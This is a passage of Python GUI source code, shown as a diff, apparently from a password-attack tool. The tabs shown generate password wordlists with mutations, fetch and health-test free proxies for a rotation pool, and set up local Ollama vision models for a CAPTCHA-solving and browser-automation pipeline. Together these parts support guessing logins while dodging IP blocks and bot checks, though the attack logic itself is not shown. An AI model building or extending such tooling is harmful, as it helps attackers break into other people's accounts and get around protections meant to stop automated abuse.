inner_bottom, text=gpu_text,
font=("Consolas", 10),
text_color=CyberpunkTheme.TERTIARY if self.generator.gpu_available else CyberpunkTheme.TEXT_DIM,
)
self.gpu_label.pack(side="left")
# Stats
self.stats_label = ctk.CTkLabel(
inner_bottom, text="Generated: 0 | File: 0",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
self.stats_label.pack(side="left", padx=(20, 0))
# Live estimate
self.estimate_label = ctk.CTkLabel(
inner_bottom, text="Est: —",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_DIM,
)
self.estimate_label.pack(side="left", padx=(20, 0))
# Generate button
self.generate_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text=">> GENERATE <<",
command=self._on_generate,
color=CyberpunkTheme.SECONDARY,
width=180, height=36,
)
self.generate_btn.pack(side="right")
self.clear_file_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="CLEAR FILE",
command=self._on_clear_wordlist,
color="#442222",
width=110, height=36,
)
self.clear_file_btn.pack(side="right", padx=(0, 8))
# Wire live estimate to all config widgets
self._bind_estimate_triggers()
self._schedule_estimate()
self._update_file_stats()
self._notify_wordlist_loaded()
def _notify_wordlist_loaded(self):
try:
count = count_lines(PASSWORDS_FILE)
if self.status_callback:
if count:
self.status_callback(f"Wordlist loaded — {count:,} passwords ready")
else:
self.status_callback("Wordlist empty — configure and generate passwords")
except Exception:
pass
def _on_clear_wordlist(self):
try:
PASSWORDS_FILE.parent.mkdir(parents=True, exist_ok=True)
PASSWORDS_FILE.write_text("", encoding="utf-8")
self.generated_count = 0
self.stats_label.configure(
text="Generated: 0 | File: 0",
text_color=CyberpunkTheme.WARNING,
)
if self.status_callback:
self.status_callback("Wordlist cleared")
except Exception as e:
if self.status_callback:
self.status_callback(f"Clear failed: {e}")
def _bind_estimate_triggers(self):
"""Attach trace callbacks to all config variables so estimate refreshes live."""
bool_vars = [
self.append_nums_var, self.prepend_nums_var, self.use_years_var,
self.append_sym_var, self.prepend_sym_var, self.sym_between_var,
self.first_cap_var, self.all_caps_var, self.toggle_case_var,
self.leet_var, self.req_upper_var, self.req_lower_var,
self.req_digit_var, self.req_symbol_var,
*self.pattern_vars.values(),
]
for v in bool_vars:
v.trace_add("write", lambda *_: self._schedule_estimate())
for int_var in (self.min_len_var, self.max_len_var):
int_var.trace_add("write", lambda *_: self._schedule_estimate())
# Text entries — use <KeyRelease> binding
for widget in (self.fragments_entry, self.symbols_entry, self.num_start_entry,
self.num_end_entry, self.custom_pattern_entry):
widget.bind("<KeyRelease>", lambda _e: self._schedule_estimate())
def _get_config(self) -> GenerationConfig:
"""Build GenerationConfig from current UI state."""
# Parse fragments
frag_text = self.fragments_entry.get().strip()
fragments = [f.strip() for f in frag_text.split(",") if f.strip()]
# Parse custom words
words_text = self.words_text.get("1.0", "end").strip()
custom_words = [w.strip() for w in words_text.split("\n") if w.strip()]
# Parse number range
try:
num_start = int(self.num_start_entry.get() or "0")
except ValueError:
num_start = 0
try:
num_end = int(self.num_end_entry.get() or "9999")
except ValueError:
num_end = 9999
# Get selected patterns
patterns = [p for p, var in self.pattern_vars.items() if var.get()]
if not patterns:
patterns = ["{word}{num}"]
custom_pattern = self.custom_pattern_entry.get().strip()
return GenerationConfig(
fragments=fragments,
custom_words=custom_words,
append_numbers=self.append_nums_var.get(),
prepend_numbers=self.prepend_nums_var.get(),
number_range_start=num_start,
number_range_end=num_end,
use_years=self.use_years_var.get(),
append_symbols=self.append_sym_var.get(),
prepend_symbols=self.prepend_sym_var.get(),
symbols_between=self.sym_between_var.get(),
custom_symbols=self.symbols_entry.get().strip(),
first_letter_caps=self.first_cap_var.get(),
all_caps=self.all_caps_var.get(),
toggle_case=self.toggle_case_var.get(),
leet_speak=self.leet_var.get(),
patterns=patterns,
custom_pattern=custom_pattern,
min_length=self.min_len_var.get(),
max_length=self.max_len_var.get(),
require_upper=self.req_upper_var.get(),
require_lower=self.req_lower_var.get(),
require_digit=self.req_digit_var.get(),
require_symbol=self.req_symbol_var.get(),
)
def _start_gen_progress(self):
self.gen_progress.pack(fill="x", side="top")
self._gen_progress_dir = 1
self._gen_progress_val = 0.0
def _pulse():
if self._gen_progress_anim is None:
return
self._gen_progress_val += 0.04 * self._gen_progress_dir
if self._gen_progress_val >= 1.0:
self._gen_progress_val = 1.0
self._gen_progress_dir = -1
elif self._gen_progress_val <= 0.0:
self._gen_progress_val = 0.0
self._gen_progress_dir = 1
self.gen_progress.set(self._gen_progress_val)
self._gen_progress_anim = self.after(40, _pulse)
self._gen_progress_anim = self.after(40, _pulse)
def _stop_gen_progress(self):
if self._gen_progress_anim:
self.after_cancel(self._gen_progress_anim)
self._gen_progress_anim = None
self.gen_progress.pack_forget()
self.gen_progress.set(0)
def _on_generate(self):
"""Handle generate button click — runs generation in background thread."""
self.generate_btn.configure(state="disabled", text=" GENERATING... ")
self._start_gen_progress()
if self.status_callback:
self.status_callback("Generating wordlist…")
config = self._get_config()
thread = threading.Thread(target=self._generate_worker, args=(config,), daemon=True)
thread.start()
def _generate_worker(self, config: GenerationConfig):
"""Background worker for password generation."""
try:
passwords = self.generator.generate(config)
self.generated_count = len(passwords)
# Save to file (append)
if passwords:
save_passwords(passwords)
# Update UI from main thread
self.after(0, self._on_generation_complete)
except Exception as e:
logger.error(f"Generation error: {e}")
self.after(0, lambda: self._on_generation_error(str(e)))
def _on_generation_complete(self):
"""Update UI after generation completes."""
self._stop_gen_progress()
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
file_count = count_lines(PASSWORDS_FILE)
self.stats_label.configure(
text=f"Generated: {self.generated_count:,} | File: {file_count:,}",
text_color=CyberpunkTheme.SUCCESS,
)
if self.status_callback:
self.status_callback(
f"Wordlist ready — {file_count:,} passwords in {PASSWORDS_FILE.name}")
def _on_generation_error(self, error_msg: str):
"""Handle generation error."""
self._stop_gen_progress()
self.generate_btn.configure(state="normal", text=">> GENERATE <<")
self.stats_label.configure(
text=f"Error: {error_msg}",
text_color=CyberpunkTheme.ERROR,
)
def _schedule_estimate(self):
"""Re-compute estimate 800ms after any config change (debounced)."""
if self._estimate_after_id:
self.after_cancel(self._estimate_after_id)
self._estimate_after_id = self.after(800, self._refresh_estimate)
def _refresh_estimate(self):
"""Update the estimate label from current config."""
self._estimate_after_id = None
try:
cfg = self._get_config()
est = self.generator.estimate(cfg)
self.estimate_label.configure(
text=f"Est: {est:,}",
text_color=CyberpunkTheme.PRIMARY if est > 0 else CyberpunkTheme.TEXT_DIM,
)
except Exception:
pass
def _update_file_stats(self):
"""Update the file line count periodically (safe against double-scheduling)."""
if self._stats_after_id:
self.after_cancel(self._stats_after_id)
try:
count = count_lines(PASSWORDS_FILE)
if self.generate_btn.cget("state") == "normal":
self.stats_label.configure(
text=f"Generated: {self.generated_count:,} | File: {count:,}",
)
except Exception:
pass
self._stats_after_id = self.after(5000, self._update_file_stats)
def get_generated_count(self) -> int:
"""Get the number of generated passwords."""
return self.generated_count

View File

@@ -0,0 +1,489 @@
"""
Proxy Manager Tab — fetch, import, health-test, and commit proxies.
Per-proxy visual states:
● RED — untested / dead
● YELLOW — currently testing
● GREEN — healthy
Testing strategy:
TEST ALL runs sequentially: one proxy at a time, red → yellow → green/red,
before moving on. This keeps the UI readable and avoids hammering networks.
Individual "TEST" buttons still fire immediately in their own thread.
"""
import asyncio
import logging
import threading
from typing import Dict, List, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.proxy.pool import ProxyPool
from src.proxy.fetcher import ProxyFetcher
from src.proxy.validator import ProxyValidator
from src.utils.file_io import save_proxies, save_valid_proxies, load_proxies
logger = logging.getLogger(__name__)
_DOT_UNTESTED = CyberpunkTheme.ERROR
_DOT_TESTING = CyberpunkTheme.WARNING
_DOT_VALID = CyberpunkTheme.SUCCESS
_DOT_FAILED = "#aa2233"
class _ProxyRow:
__slots__ = ("frame", "dot", "ip_lbl", "port_lbl", "proto_lbl",
"speed_lbl", "status_lbl", "test_btn", "remove_btn", "state")
def __init__(self):
self.frame = self.dot = self.ip_lbl = self.port_lbl = None
self.proto_lbl = self.speed_lbl = self.status_lbl = None
self.test_btn = self.remove_btn = None
self.state = "untested"
class ProxyManagerTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.fetcher = ProxyFetcher()
self.validator = ProxyValidator()
self.status_callback = status_callback
self._rows: Dict[str, _ProxyRow] = {}
self._seq_testing = False # True while sequential TEST ALL is running
self._seq_stop_flag = False # set True to abort sequential test
self._single_lock = threading.Lock()
self._build_ui()
# ── UI ────────────────────────────────────────────────────────────────────
def _build_ui(self):
ctk.CTkLabel(self, text="[ PROXY MANAGER ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
ctk.CTkLabel(self,
text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12))
# ── Control bar ───────────────────────────────────────────────────────
ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
ctrl.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(ctrl, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
self.fetch_btn = CyberpunkTheme.create_neon_button(
inner, text="⬇ FETCH PROXIES", command=self._on_fetch,
color=CyberpunkTheme.TERTIARY, width=155, height=32)
self.fetch_btn.pack(side="left", padx=(0, 8))
self.import_btn = CyberpunkTheme.create_neon_button(
inner, text="📂 IMPORT FILE", command=self._on_import,
color=CyberpunkTheme.TERTIARY, width=140, height=32)
self.import_btn.pack(side="left", padx=(0, 8))
self.test_all_btn = CyberpunkTheme.create_neon_button(
inner, text="⚡ TEST ALL", command=self._on_test_all,
color=CyberpunkTheme.PRIMARY, width=130, height=32)
self.test_all_btn.pack(side="left", padx=(0, 8))
self.stop_test_btn = CyberpunkTheme.create_neon_button(
inner, text="⏹ STOP TEST", command=self._on_stop_test,
color=CyberpunkTheme.WARNING, width=120, height=32)
self.stop_test_btn.pack(side="left", padx=(0, 8))
self.stop_test_btn.configure(state="disabled")
self.remove_dead_btn = CyberpunkTheme.create_neon_button(
inner, text="🗑 REMOVE DEAD", command=self._on_remove_dead,
color=CyberpunkTheme.ERROR, width=145, height=32)
self.remove_dead_btn.pack(side="left", padx=(0, 8))
self.commit_btn = CyberpunkTheme.create_neon_button(
inner, text="✅ COMMIT TO POOL", command=self._on_commit,
color=CyberpunkTheme.SUCCESS, width=170, height=32)
self.commit_btn.pack(side="left", padx=(0, 8))
self.clear_btn = CyberpunkTheme.create_neon_button(
inner, text="✕ CLEAR ALL", command=self._on_clear,
color="#553333", width=110, height=32)
self.clear_btn.pack(side="left")
# ── Paste box ─────────────────────────────────────────────────────────
paste_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
paste_frame.pack(fill="x", padx=15, pady=(0, 8))
paste_inner = ctk.CTkFrame(paste_frame, fg_color="transparent")
paste_inner.pack(fill="x", padx=12, pady=8)
ctk.CTkLabel(paste_inner,
text="Paste proxies (protocol://ip:port or ip:port, one per line):",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(anchor="w")
paste_row = ctk.CTkFrame(paste_inner, fg_color="transparent")
paste_row.pack(fill="x", pady=(4, 0))
self.paste_box = ctk.CTkTextbox(
paste_row, height=60,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11))
self.paste_box.pack(side="left", fill="x", expand=True, padx=(0, 8))
CyberpunkTheme.create_neon_button(
paste_row, text="ADD", command=self._on_add_pasted,
color=CyberpunkTheme.TERTIARY, width=70, height=60
).pack(side="left")
# ── Stats bar ─────────────────────────────────────────────────────────
stats_bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
stats_bar.pack(fill="x", padx=15, pady=(0, 6))
stats_inner = ctk.CTkFrame(stats_bar, fg_color="transparent")
stats_inner.pack(fill="x", padx=12, pady=6)
def _sl(text, color):
l = ctk.CTkLabel(stats_inner, text=text,
font=("Consolas", 12, "bold"), text_color=color)
l.pack(side="left", padx=(0, 22))
return l
self.lbl_total = _sl("Total: 0", CyberpunkTheme.TEXT_PRIMARY)
self.lbl_valid = _sl("Valid: 0", CyberpunkTheme.SUCCESS)
self.lbl_failed = _sl("Dead: 0", CyberpunkTheme.ERROR)
self.lbl_testing = _sl("Testing: 0", CyberpunkTheme.WARNING)
self.lbl_inqueue = _sl("In Pool: 0", CyberpunkTheme.PRIMARY)
self.test_progress = ctk.CTkProgressBar(
stats_inner, width=200,
fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
height=10)
self.test_progress.set(0)
self.test_progress.pack(side="right", padx=(0, 4))
self.test_progress.pack_forget()
# ── Table header ──────────────────────────────────────────────────────
hdr = ctk.CTkFrame(self, fg_color="#0d0d1a", height=26)
hdr.pack(fill="x", padx=15)
for txt, w in [("", 4), ("IP Address", 190), ("Port", 60), ("Proto", 65),
("Speed (ms)", 90), ("Status", 110), ("", 60), ("", 40)]:
ctk.CTkLabel(hdr, text=txt, font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=w, anchor="w").pack(side="left", padx=2)
# ── Proxy list ────────────────────────────────────────────────────────
self.list_frame = ctk.CTkScrollableFrame(
self, fg_color=CyberpunkTheme.BG_MEDIUM,
border_width=1, border_color=CyberpunkTheme.BORDER)
self.list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 10))
self._load_saved_proxies()
# ── Row management ────────────────────────────────────────────────────────
def _add_proxy_row(self, proxy_str: str) -> Optional[_ProxyRow]:
proxy_str = proxy_str.strip()
if not proxy_str or "://" not in proxy_str:
return None
if proxy_str in self._rows:
return None
try:
protocol, rest = proxy_str.split("://", 1)
ip, port = rest.rsplit(":", 1)
except ValueError:
ip, port, protocol = proxy_str, "?", "?"
row = _ProxyRow()
idx = len(self._rows)
bg = CyberpunkTheme.BG_DARK if idx % 2 == 0 else CyberpunkTheme.BG_MEDIUM
row.frame = ctk.CTkFrame(self.list_frame, fg_color=bg, height=28)
row.frame.pack(fill="x", pady=1)
row.dot = ctk.CTkLabel(row.frame, text="", width=14,
font=("Consolas", 13, "bold"),
text_color=_DOT_UNTESTED)
row.dot.pack(side="left", padx=(4, 2))
def _lbl(txt, w, color=CyberpunkTheme.TEXT_PRIMARY):
l = ctk.CTkLabel(row.frame, text=txt, width=w,
font=("Consolas", 10), text_color=color, anchor="w")
l.pack(side="left", padx=2)
return l
row.ip_lbl = _lbl(ip, 190)
row.port_lbl = _lbl(port, 60, CyberpunkTheme.TEXT_SECONDARY)
row.proto_lbl = _lbl(protocol.upper(), 65, CyberpunkTheme.TERTIARY)
row.speed_lbl = _lbl("", 90, CyberpunkTheme.TEXT_DIM)
row.status_lbl = _lbl("untested", 110, CyberpunkTheme.TEXT_DIM)
row.test_btn = ctk.CTkButton(
row.frame, text="TEST", width=55, height=22,
fg_color=CyberpunkTheme.BG_LIGHT,
hover_color=CyberpunkTheme.PRIMARY,
text_color=CyberpunkTheme.TEXT_SECONDARY,
font=("Consolas", 10, "bold"), corner_radius=3,
command=lambda ps=proxy_str: self._test_single(ps))
row.test_btn.pack(side="left", padx=3)
row.remove_btn = ctk.CTkButton(
row.frame, text="", width=28, height=22,
fg_color="#331111", hover_color=CyberpunkTheme.ERROR,
text_color=CyberpunkTheme.ERROR,
font=("Consolas", 11, "bold"), corner_radius=3,
command=lambda ps=proxy_str: self._remove_proxy(ps))
row.remove_btn.pack(side="left", padx=2)
self._rows[proxy_str] = row
self._refresh_stats()
return row
def _remove_proxy(self, proxy_str: str):
row = self._rows.pop(proxy_str, None)
if row and row.frame:
row.frame.destroy()
self._refresh_stats()
# ── Row state ─────────────────────────────────────────────────────────────
def _set_row_state(self, proxy_str: str, state: str,
speed_ms: float = 0.0, msg: str = ""):
row = self._rows.get(proxy_str)
if not row:
return
row.state = state
colors = {
"untested": (_DOT_UNTESTED, CyberpunkTheme.TEXT_DIM, "untested"),
"testing": (_DOT_TESTING, CyberpunkTheme.WARNING, "testing…"),
"valid": (_DOT_VALID, CyberpunkTheme.SUCCESS, f"{speed_ms:.0f} ms"),
"failed": (_DOT_FAILED, CyberpunkTheme.ERROR, msg or "failed"),
}
dot_c, stat_c, stat_txt = colors.get(state, colors["untested"])
try:
row.dot.configure(text_color=dot_c)
row.status_lbl.configure(text=stat_txt, text_color=stat_c)
if state == "valid":
row.speed_lbl.configure(
text=f"{speed_ms:.0f}",
text_color=(
CyberpunkTheme.SUCCESS if speed_ms < 1500 else
CyberpunkTheme.WARNING if speed_ms < 4000 else
CyberpunkTheme.ERROR
))
except Exception:
pass
self._refresh_stats()
# ── Individual proxy test ─────────────────────────────────────────────────
def _test_single(self, proxy_str: str):
"""Test one proxy in its own daemon thread."""
self.after(0, lambda: self._set_row_state(proxy_str, "testing"))
def worker():
loop = asyncio.new_event_loop()
result = loop.run_until_complete(self.validator.test_single_proxy(proxy_str))
loop.close()
if result.is_valid:
self.after(0, lambda: self._set_row_state(
proxy_str, "valid", result.response_time_ms))
else:
self.after(0, lambda: self._set_row_state(
proxy_str, "failed", msg=result.error or "no response"))
threading.Thread(target=worker, daemon=True).start()
# ── Sequential TEST ALL ───────────────────────────────────────────────────
def _on_test_all(self):
if self._seq_testing:
return
proxies_to_test = list(self._rows.keys())
if not proxies_to_test:
self._notify("No proxies to test")
return
self._seq_testing = True
self._seq_stop_flag = False
total = len(proxies_to_test)
self.test_all_btn.configure(state="disabled", text="⏳ TESTING…")
self.stop_test_btn.configure(state="normal")
self.test_progress.pack(side="right", padx=(0, 4))
self.test_progress.set(0)
def sequential_worker():
for idx, ps in enumerate(proxies_to_test):
if self._seq_stop_flag:
break
# Mark yellow in UI
self.after(0, lambda p=ps: self._set_row_state(p, "testing"))
# Run the actual test
loop = asyncio.new_event_loop()
result = loop.run_until_complete(self.validator.test_single_proxy(ps))
loop.close()
if self._seq_stop_flag:
break
# Update row in UI
if result.is_valid:
self.after(0, lambda p=ps, ms=result.response_time_ms:
self._set_row_state(p, "valid", ms))
else:
self.after(0, lambda p=ps, err=result.error or "":
self._set_row_state(p, "failed", msg=err))
# Update progress
progress = (idx + 1) / total
self.after(0, lambda v=progress: self.test_progress.set(v))
self.after(0, lambda i=idx+1, t=total:
self._notify(f"Testing {i}/{t} proxies…"))
# Done
def done():
self._seq_testing = False
self.test_all_btn.configure(state="normal", text="⚡ TEST ALL")
self.stop_test_btn.configure(state="disabled")
self.test_progress.pack_forget()
valid = self._count_valid()
stopped = " (stopped early)" if self._seq_stop_flag else ""
self._notify(f"Testing complete{stopped}{valid} valid proxies")
self.after(0, done)
threading.Thread(target=sequential_worker, daemon=True).start()
def _on_stop_test(self):
self._seq_stop_flag = True
self.stop_test_btn.configure(state="disabled")
# ── Bulk actions ──────────────────────────────────────────────────────────
def _on_remove_dead(self):
dead = [ps for ps, row in self._rows.items() if row.state == "failed"]
for ps in dead:
self._remove_proxy(ps)
self._notify(f"Removed {len(dead)} dead proxies")
def _on_commit(self):
valid = [ps for ps, row in self._rows.items() if row.state == "valid"]
if not valid:
self._notify("No valid proxies to commit — run TEST ALL first")
return
save_valid_proxies(valid)
new_count = self.proxy_pool.add_proxies(valid)
self._refresh_stats()
self._notify(f"Committed {new_count} new proxies to pool (pool total: {self.proxy_pool.total_valid})")
def _on_clear(self):
if self._seq_testing:
self._seq_stop_flag = True
for row in self._rows.values():
if row.frame:
row.frame.destroy()
self._rows.clear()
self._refresh_stats()
# ── Import / Fetch ────────────────────────────────────────────────────────
def _on_fetch(self):
self.fetch_btn.configure(state="disabled", text="⏳ FETCHING…")
self._notify("Fetching proxies from free sources…")
def worker():
try:
strings = self.fetcher.fetch_as_strings(500)
save_proxies(strings)
def done():
self.fetch_btn.configure(state="normal", text="⬇ FETCH PROXIES")
for ps in strings:
self._add_proxy_row(ps)
self._notify(f"Fetched {len(strings)} proxies — click TEST ALL to check health")
self.after(0, done)
except Exception as e:
self.after(0, lambda: self.fetch_btn.configure(
state="normal", text="⬇ FETCH PROXIES"))
self.after(0, lambda: self._notify(f"Fetch error: {e}"))
logger.error(f"Fetch error: {e}")
threading.Thread(target=worker, daemon=True).start()
def _on_import(self):
from tkinter import filedialog
path = filedialog.askopenfilename(
title="Import Proxy List",
filetypes=[("Text files", "*.txt"), ("All files", "*.*")])
if not path:
return
try:
with open(path, "r", encoding="utf-8", errors="ignore") as f:
lines = [l.strip() for l in f if l.strip()]
processed = []
for line in lines:
if "://" not in line and line:
line = f"http://{line}"
processed.append(line)
save_proxies(processed)
added = sum(1 for ps in processed if self._add_proxy_row(ps) is not None)
self._notify(f"Imported {added} proxies from file")
except Exception as e:
self._notify(f"Import error: {e}")
def _on_add_pasted(self):
text = self.paste_box.get("1.0", "end").strip()
lines = [l.strip() for l in text.splitlines() if l.strip()]
added = 0
for ps in lines:
if "://" not in ps:
ps = f"http://{ps}"
if self._add_proxy_row(ps) is not None:
added += 1
self.paste_box.delete("1.0", "end")
self._notify(f"Added {added} proxies")
def _load_saved_proxies(self):
from src.utils.file_io import load_valid_proxies
for ps in load_valid_proxies():
row = self._add_proxy_row(ps)
if row:
row.state = "valid"
if row.dot:
row.dot.configure(text_color=_DOT_VALID)
if row.status_lbl:
row.status_lbl.configure(text="saved valid",
text_color=CyberpunkTheme.SUCCESS)
# ── Stats ─────────────────────────────────────────────────────────────────
def _count_valid(self) -> int:
return sum(1 for r in self._rows.values() if r.state == "valid")
def _refresh_stats(self):
total = len(self._rows)
valid = sum(1 for r in self._rows.values() if r.state == "valid")
failed = sum(1 for r in self._rows.values() if r.state == "failed")
testing = sum(1 for r in self._rows.values() if r.state == "testing")
inqueue = self.proxy_pool.available_count
try:
self.lbl_total.configure(text=f"Total: {total}")
self.lbl_valid.configure(text=f"Valid: {valid}")
self.lbl_failed.configure(text=f"Dead: {failed}")
self.lbl_testing.configure(text=f"Testing: {testing}")
self.lbl_inqueue.configure(text=f"In Pool: {inqueue}")
except Exception:
pass
def _update_stats(self):
self._refresh_stats()
def _notify(self, msg: str):
if self.status_callback:
self.status_callback(msg)
logger.info(msg)

772
src/gui/setup_tab.py Normal file
View File

@@ -0,0 +1,772 @@
"""
Setup Tab — Ollama model integration for CAPTCHA solving.
Configures local vision models, browser automation, and CAPTCHA solving pipeline.
"""
import json
import logging
import threading
from dataclasses import dataclass, field
from typing import List, Optional, Dict, Any
import customtkinter as ctk
import requests
from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE
from src.gui.theme import CyberpunkTheme
logger = logging.getLogger(__name__)
OLLAMA_DEFAULT_HOST = "http://localhost:11434"
@dataclass
class OllamaConfig:
"""Configuration for Ollama integration."""
host: str = OLLAMA_DEFAULT_HOST
model: str = ""
timeout: int = 60
temperature: float = 0.1
top_p: float = 0.9
max_tokens: int = 512
class OllamaManager:
"""Manages Ollama API interactions — model listing, status checks, inference."""
def __init__(self, host: str = OLLAMA_DEFAULT_HOST):
self.host = host.rstrip("/")
def is_running(self) -> bool:
"""Check if Ollama server is reachable."""
try:
resp = requests.get(f"{self.host}/api/tags", timeout=3)
return resp.status_code == 200
except requests.RequestException:
return False
def list_models(self) -> List[Dict[str, Any]]:
"""Get list of available models from Ollama."""
try:
resp = requests.get(f"{self.host}/api/tags", timeout=5)
if resp.status_code == 200:
data = resp.json()
models = data.get("models", [])
return [
{
"name": m["name"],
"size_gb": round(m["size"] / (1024**3), 2),
"modified": m.get("modified_at", ""),
}
for m in models
]
return []
except requests.RequestException as e:
logger.warning(f"Failed to list Ollama models: {e}")
return []
def get_model_names(self) -> List[str]:
"""Get just the model names."""
return [m["name"] for m in self.list_models()]
def pull_model(self, model_name: str) -> bool:
"""Pull a model from Ollama registry."""
try:
resp = requests.post(
f"{self.host}/api/pull",
json={"name": model_name},
timeout=300, # Long timeout for downloads
stream=True,
)
return resp.status_code == 200
except requests.RequestException as e:
logger.error(f"Failed to pull model {model_name}: {e}")
return False
def generate(self, model: str, prompt: str, images: Optional[List[str]] = None) -> Optional[str]:
"""
Generate a response from the model.
images: list of base64-encoded images.
"""
payload = {
"model": model,
"prompt": prompt,
"stream": False,
"options": {
"temperature": 0.1,
"top_p": 0.9,
"num_predict": 512,
}
}
if images:
payload["images"] = images
try:
resp = requests.post(
f"{self.host}/api/generate",
json=payload,
timeout=120,
)
if resp.status_code == 200:
data = resp.json()
return data.get("response", "")
logger.warning(f"Ollama generate returned {resp.status_code}: {resp.text[:200]}")
return None
except requests.RequestException as e:
logger.error(f"Ollama generate failed: {e}")
return None
def chat(self, model: str, messages: List[Dict], images: Optional[List[str]] = None) -> Optional[str]:
"""
Chat completion with optional image support.
"""
payload = {
"model": model,
"messages": messages,
"stream": False,
"options": {
"temperature": 0.1,
"top_p": 0.9,
}
}
if images and messages:
# Add images to the last message
if "images" not in messages[-1]:
messages[-1]["images"] = images
try:
resp = requests.post(
f"{self.host}/api/chat",
json=payload,
timeout=120,
)
if resp.status_code == 200:
data = resp.json()
return data.get("message", {}).get("content", "")
return None
except requests.RequestException as e:
logger.error(f"Ollama chat failed: {e}")
return None
class SetupTab(ctk.CTkFrame):
"""
Setup Tab — Ollama model configuration and CAPTCHA solving pipeline setup.
Features:
- Auto-detect Ollama server
- Model selector dropdown (auto-populated from Ollama)
- Pull new models
- CAPTCHA solving configuration
- Browser automation settings
"""
def __init__(self, parent):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.ollama = OllamaManager()
self.config = OllamaConfig()
self._build_ui()
self._load_saved_config()
def _build_ui(self):
"""Build the setup tab UI."""
# Title
title = ctk.CTkLabel(
self, text="[ SETUP & CONFIGURATION ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
subtitle.pack(pady=(0, 15))
# Main content (scrollable)
self.content = ctk.CTkScrollableFrame(
self, fg_color=CyberpunkTheme.BG_MEDIUM,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10))
# === SECTION 1: Ollama Server ===
CyberpunkTheme.create_section_header(self.content, "> OLLAMA SERVER")
server_frame = ctk.CTkFrame(self.content, fg_color="transparent")
server_frame.pack(fill="x", padx=10, pady=5)
# Host input
row1 = ctk.CTkFrame(server_frame, fg_color="transparent")
row1.pack(fill="x")
ctk.CTkLabel(
row1, text="Host URL:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.host_entry = ctk.CTkEntry(
row1, placeholder_text="http://localhost:11434",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12),
width=300,
)
self.host_entry.insert(0, OLLAMA_DEFAULT_HOST)
self.host_entry.pack(side="left", padx=(0, 10))
CyberpunkTheme.apply_focus_glow(self.host_entry)
self.connect_btn = CyberpunkTheme.create_neon_button(
row1, text="🔗 CONNECT",
command=self._on_connect,
color=CyberpunkTheme.TERTIARY,
width=120, height=30,
)
self.connect_btn.pack(side="left", padx=(0, 10))
self.ollama_status_label = ctk.CTkLabel(
row1, text="● UNKNOWN",
font=("Consolas", 11, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
)
self.ollama_status_label.pack(side="left")
# === SECTION 2: Model Selection ===
CyberpunkTheme.create_section_header(self.content, "> VISION MODEL SELECTOR")
model_frame = ctk.CTkFrame(self.content, fg_color="transparent")
model_frame.pack(fill="x", padx=10, pady=5)
row_m1 = ctk.CTkFrame(model_frame, fg_color="transparent")
row_m1.pack(fill="x")
ctk.CTkLabel(
row_m1, text="Selected Model:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.model_var = ctk.StringVar(value="")
self.model_dropdown = ctk.CTkOptionMenu(
row_m1,
values=["No models found"],
variable=self.model_var,
fg_color=CyberpunkTheme.BG_DARK,
button_color=CyberpunkTheme.TERTIARY,
button_hover_color=CyberpunkTheme.PRIMARY,
text_color=CyberpunkTheme.TEXT_PRIMARY,
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
dropdown_hover_color=CyberpunkTheme.TERTIARY,
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 12),
width=300,
)
self.model_dropdown.pack(side="left", padx=(0, 10))
self.refresh_models_btn = CyberpunkTheme.create_neon_button(
row_m1, text="🔄 REFRESH",
command=self._on_refresh_models,
color=CyberpunkTheme.PRIMARY,
width=100, height=30,
)
self.refresh_models_btn.pack(side="left", padx=(0, 10))
# Pull new model
row_m2 = ctk.CTkFrame(model_frame, fg_color="transparent")
row_m2.pack(fill="x", pady=(8, 0))
ctk.CTkLabel(
row_m2, text="Pull Model:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.pull_entry = ctk.CTkEntry(
row_m2, placeholder_text="e.g., llava:13b, bakllava, minicpm-v",
